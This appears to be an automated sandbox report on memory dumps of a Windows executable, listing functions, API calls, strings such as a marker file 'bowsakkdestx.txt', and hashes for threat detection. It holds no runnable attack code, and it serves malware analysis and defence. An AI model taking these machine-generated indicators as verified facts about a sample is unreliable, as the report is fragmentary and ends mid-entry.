Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004576B0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00457761

Strings

<NULL>, xrefs: 004576C5
.\crypto\ex_data.c, xrefs: 00457782
.\crypto\bio\b_print.c, xrefs: 00457745, 0045777D

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: .\crypto\bio\b_print.c$.\crypto\ex_data.c$<NULL>
API String ID: 4104443479-205247976
Opcode ID: a442019d9fd48776a094e56eaf7daecf32db650778b22177e443f629825f91aa
Instruction ID: 8bfef1961c2dc7b1d3fa9a793b93b2a32f3b79721cea98b20ecef3b46ad8c8e4
Opcode Fuzzy Hash: a442019d9fd48776a094e56eaf7daecf32db650778b22177e443f629825f91aa
Instruction Fuzzy Hash: EB41B6746093419FDB14DF19E440B2BBBE1FF89309F14496EF88587342D338A849CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00414160, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0047DE80, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

.\crypto\evp\evp_enc.c, xrefs: 0047DF18
b <= sizeof ctx->final, xrefs: 0047DF0E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID:
String ID: .\crypto\evp\evp_enc.c$b <= sizeof ctx->final
API String ID: 0-1455458990
Opcode ID: da526bf07cd36f85ec96634d45329e5d5bc80e43077f18624cab76d8e009db92
Instruction ID: 5cd3e4534cd77d1fdd3bbd62b26042c23fcb6cce9afc79593b482194b94c8559
Opcode Fuzzy Hash: da526bf07cd36f85ec96634d45329e5d5bc80e43077f18624cab76d8e009db92
Instruction Fuzzy Hash: 5031E372A093009FE7119E09FC40B9BB7F8FF94718F04492FF48982211D379E9858BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00870000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32 ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00427C2E, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00427C31

Part of subcall function 00427F51: __NMSG_WRITE.LIBCMT ref: 00427F78
Part of subcall function 00427F51: __NMSG_WRITE.LIBCMT ref: 00427F82

__NMSG_WRITE.LIBCMT ref: 00427C39

Part of subcall function 00427FAE: GetModuleFileNameW.KERNEL32(00000000,005104BA,00000104,?,00000001,i;B), ref: 00428040
Part of subcall function 00427FAE: ___crtMessageBoxW.LIBCMT ref: 004280EE

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

_doexit.LIBCMT ref: 00427C50

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: RtlDecodePointer.NTDLL(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Strings

i;B, xrefs: 00427C36

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm_doexit$FileMessageModuleName___crt__lock
String ID: i;B
API String ID: 2447380256-472376889
Opcode ID: 153482db97bfda71f73a9d163006c74db99129bc5c403b59fea0bac6b8996c12
Instruction ID: 2444216041853f974cc06d1078168a6e61cf6443a39b7242863de3565bbad4eb
Opcode Fuzzy Hash: 153482db97bfda71f73a9d163006c74db99129bc5c403b59fea0bac6b8996c12
Instruction Fuzzy Hash: 0CC0122079C31826E9513362FD43B5832065B00B08FD2002ABB081D4C2E9CA5594409A

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0, Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9, Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00422A3F
__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 91fea0cb3053598de810098ef5220918ca9e066db9dddb00d4e6dd9715c0a92b
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: 91fea0cb3053598de810098ef5220918ca9e066db9dddb00d4e6dd9715c0a92b
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677, Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0, Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0, Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00870000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00413FF0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004140C3

Strings

string too long, xrefs: 00414106
invalid string position, xrefs: 004140F2, 004140FC

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: e5a20fda96fbb27b9f37198d586d17c7b21ef1ceec6bbb78cfb9d7e0f70da861
Instruction ID: 4205b05579147b1448610cf6fe3b78d63c0cdbe337780179630d654c306986d5
Opcode Fuzzy Hash: e5a20fda96fbb27b9f37198d586d17c7b21ef1ceec6bbb78cfb9d7e0f70da861
Instruction Fuzzy Hash: 5B41E7323003109BD7219E5EE840BDBFBAAEBD5761F10456FE6458B281C7B69891C3ED

Uniqueness

Uniqueness Score: -1.00%

Function 004156D0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0041578D

Strings

string too long, xrefs: 004157BC
invalid string position, xrefs: 004157FC

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 39f497f76bbcc363d3fb94d31cf7d54c7d6f0b1bd56fcb705662e20543830def
Instruction ID: 985c48891a746799e7d6387cc52c5e7f5ff7a76c475f7ad8f3fd66bf82244b95
Opcode Fuzzy Hash: 39f497f76bbcc363d3fb94d31cf7d54c7d6f0b1bd56fcb705662e20543830def
Instruction Fuzzy Hash: 0A41E532304A00CBD7259A5CA9819DAF7A9EBD1724F20052FF5A5CB781C776DC8183E9

Uniqueness

Uniqueness Score: -1.00%

Function 00414690, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00414759

Strings

string too long, xrefs: 004147A0
invalid string position, xrefs: 0041478C, 00414796

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: a1f21e7e28fc255be68d8d0033d909ec28913442aa6d0789215a43a0b5c6a234
Instruction ID: dab63524eace3e70d233d39e225dc375d12f35097c0789f9baca5ba0d92c0009
Opcode Fuzzy Hash: a1f21e7e28fc255be68d8d0033d909ec28913442aa6d0789215a43a0b5c6a234
Instruction Fuzzy Hash: EB41E4323003149B8724AF5DE8808EBF3AAFFD2761310052FE915C7290DB75E89487E9

Uniqueness

Uniqueness Score: -1.00%

Function 00415C10, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00415CCC

Strings

string too long, xrefs: 00415CFF
invalid string position, xrefs: 00415D44

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: fe8734d6c362ced86cf09691cf0be7e724335830d2374daabe9df01d6f7cf9ac
Instruction ID: a34e32d7b8ed5468a78dd30a1eb1d39708e6ca953639f8a8ba52b6fd50348630
Opcode Fuzzy Hash: fe8734d6c362ced86cf09691cf0be7e724335830d2374daabe9df01d6f7cf9ac
Instruction Fuzzy Hash: E141CF32304B14DB8A249E5CE9808EAF3AAFFD1755320052FE146CB600E776ED8587ED

Uniqueness

Uniqueness Score: -1.00%

Function 00413DA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00416760: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

_memmove.LIBCMT ref: 00413E49

Strings

string too long, xrefs: 00413E82, 00413E8C
invalid string position, xrefs: 00413E78

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_memmove
String ID: invalid string position$string too long
API String ID: 2765667529-4289949731
Opcode ID: 35746b4b5cd388d2e077b9d2784f1b8c51417690f7f26773c8ced1fd2d7758c0
Instruction ID: 6c61d9c2e6aee4cd7a431b3941ebb9063781ce6e80b7d68ff01cea64551c3a6e
Opcode Fuzzy Hash: 35746b4b5cd388d2e077b9d2784f1b8c51417690f7f26773c8ced1fd2d7758c0
Instruction Fuzzy Hash: 9141C7323003109BDB249E5CE9C0AABB7AAEB91712B20492FF555C7381C775DD8587AD

Uniqueness

Uniqueness Score: -1.00%

Function 00415AE0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00415BBE

Strings

string too long, xrefs: 00415AC2, 00415ACC, 00415BF1, 00415BFB
invalid string position, xrefs: 00415AB8

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: c112dea0fff8c370717949af8bee69f9f3e04e2509aefad94300f69359c4fb57
Instruction ID: 2936a53d161ebaf4064a4efe3819ccacd29a5698db698721a29eb4adc56a50bc
Opcode Fuzzy Hash: c112dea0fff8c370717949af8bee69f9f3e04e2509aefad94300f69359c4fb57
Instruction Fuzzy Hash: AB31A532308A14CB87349E5DE9D08EEB3AAFFD1761320462FE056C7650DB75F88587A9

Uniqueness

Uniqueness Score: -1.00%

Function 00454FB0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

g9F, xrefs: 00454FB0, 00454FCF
0LE, xrefs: 00455013

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID:
String ID: 0LE$g9F
API String ID: 0-779480017
Opcode ID: 35706420453caed70cab544655104f655e2595d5a69f5a5159a3efcf2610f825
Instruction ID: 7afbfa0dbcfdf0c63f73ae97861a1c6000918b6ae6b441de4845384921db2136
Opcode Fuzzy Hash: 35706420453caed70cab544655104f655e2595d5a69f5a5159a3efcf2610f825
Instruction Fuzzy Hash: 26110B323082007BD6119F1ABC80FAF77DDEFD5759F04041DFD04A2252C725DD9596AA

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

